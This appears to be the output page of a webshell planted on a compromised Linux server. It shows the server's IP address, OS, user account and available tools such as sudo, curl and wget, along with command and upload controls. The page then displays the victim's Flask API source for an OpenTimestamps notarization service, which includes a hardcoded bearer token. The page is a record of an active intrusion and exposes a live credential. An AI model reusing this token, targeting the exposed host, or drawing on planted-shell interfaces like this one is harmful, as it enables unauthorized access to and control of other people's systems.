403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/1006324/root/opt/ots-api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/1006324/root/opt/ots-api/app.py
from flask import Flask, request, jsonify
import subprocess
import os
import hashlib

API_TOKEN = "jb8lmJTpKUYl3n7nqhRTiCtwDutzfLWBFvmz2HNcbcg"

BASE = "/var/copyrightchain"
PENDING = f"{BASE}/pending"
OTS = f"{BASE}/ots"
ANCHORED = f"{BASE}/anchored"
LOGS = f"{BASE}/logs"

app = Flask(__name__)

def auth(req) -> bool:
    return req.headers.get("Authorization", "") == f"Bearer {API_TOKEN}"

def ensure_dirs():
    os.makedirs(PENDING, exist_ok=True)
    os.makedirs(OTS, exist_ok=True)
    os.makedirs(ANCHORED, exist_ok=True)
    os.makedirs(LOGS, exist_ok=True)

def is_hex64(s: str) -> bool:
    if not isinstance(s, str) or len(s) != 64:
        return False
    for c in s:
        if c not in "0123456789abcdefABCDEF":
            return False
    return True

def stamp_digest(digest: str):
    """
    Create pending/<digest>.txt containing the digest itself (newline-terminated),
    then run 'ots stamp' on it, move results to OTS folder.
    """
    ensure_dirs()

    digest = digest.strip().lower()
    txt_name = f"{digest}.txt"
    txt_path = os.path.join(PENDING, txt_name)

    # Write only the hash string as the notarized content
    with open(txt_path, "wb") as f:
        f.write((digest + "\n").encode("utf-8"))

    r = subprocess.run(["ots", "stamp", txt_path], capture_output=True, text=True)
    if r.returncode != 0:
        return None, {
            "error": "ots_stamp_failed",
            "code": r.returncode,
            "stderr": (r.stderr or "")[-500:],
            "stdout": (r.stdout or "")[-500:]
        }

    stamped = []
    ots_src = txt_path + ".ots"
    if os.path.exists(ots_src):
        ots_dst = os.path.join(OTS, os.path.basename(ots_src))
        os.rename(ots_src, ots_dst)
        stamped.append(os.path.basename(ots_dst))

    # Move the .txt to /ots/ too
    os.rename(txt_path, os.path.join(OTS, txt_name))

    return {
        "stamped": stamped,
        "digest": digest,
        "txt": txt_name,
        "mode": "hash"
    }, None

@app.route("/stamp", methods=["POST"])
def stamp():
    if not auth(request):
        return jsonify({"error": "unauthorized"}), 401

    # --- 1) HASH-only JSON mode ---
    if request.is_json:
        data = request.get_json(silent=True) or {}
        h = (data.get("hash") or "").strip()

        if not is_hex64(h):
            return jsonify({"error": "invalid_hash"}), 400

        res, err = stamp_digest(h)
        if err:
            return jsonify(err), 500
        return jsonify(res), 200

    # --- 2) Backward compatibility: multipart file upload mode ---
    up = request.files.get("file")
    if up is None:
        return jsonify({"error": "missing_file_or_json_hash"}), 400

    raw = up.read()
    if not raw:
        return jsonify({"error": "empty_file"}), 400

    # If uploaded content is exactly a 64-hex digest, use it directly.
    # Otherwise compute sha256(file_bytes).
    try:
        s = raw.decode("utf-8", errors="ignore").strip()
    except Exception:
        s = ""

    if is_hex64(s):
        digest = s.lower()
    else:
        digest = hashlib.sha256(raw).hexdigest()

    # IMPORTANT: even in file mode, we stamp ONLY the digest (not the file bytes)
    res, err = stamp_digest(digest)
    if err:
        return jsonify(err), 500

    res["mode"] = "file_to_hash"
    return jsonify(res), 200

@app.route("/upgrade", methods=["POST"])
def upgrade():
    if not auth(request):
        return jsonify({"error": "unauthorized"}), 401

    ensure_dirs()

    upgraded = []
    pending = []
    failed = []

    for f in os.listdir(OTS):
        if not f.endswith(".ots"):
            continue

        path = os.path.join(OTS, f)
        r = subprocess.run(["ots", "upgrade", path], capture_output=True, text=True)

        out = (r.stdout or "")
        err = (r.stderr or "")

        if r.returncode == 0:
            upgraded.append(f)
        else:
            tail_msg = (err + "\n" + out).strip()
            tail_msg = tail_msg[-600:]

            if ("Timestamp not complete" in tail_msg) or ("Pending confirmation" in tail_msg):
                pending.append({"file": f, "message": tail_msg})
            else:
                failed.append({"file": f, "code": r.returncode, "message": tail_msg})

    return jsonify({"upgraded": upgraded, "pending": pending, "failed": failed}), 200

@app.route("/status", methods=["GET"])
def status():
    ensure_dirs()
    return jsonify({
        "pending": os.listdir(PENDING),
        "ots": os.listdir(OTS),
        "anchored": os.listdir(ANCHORED)
    })

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)


Youez - 2016 - github.com/yon3zu
LinuXploit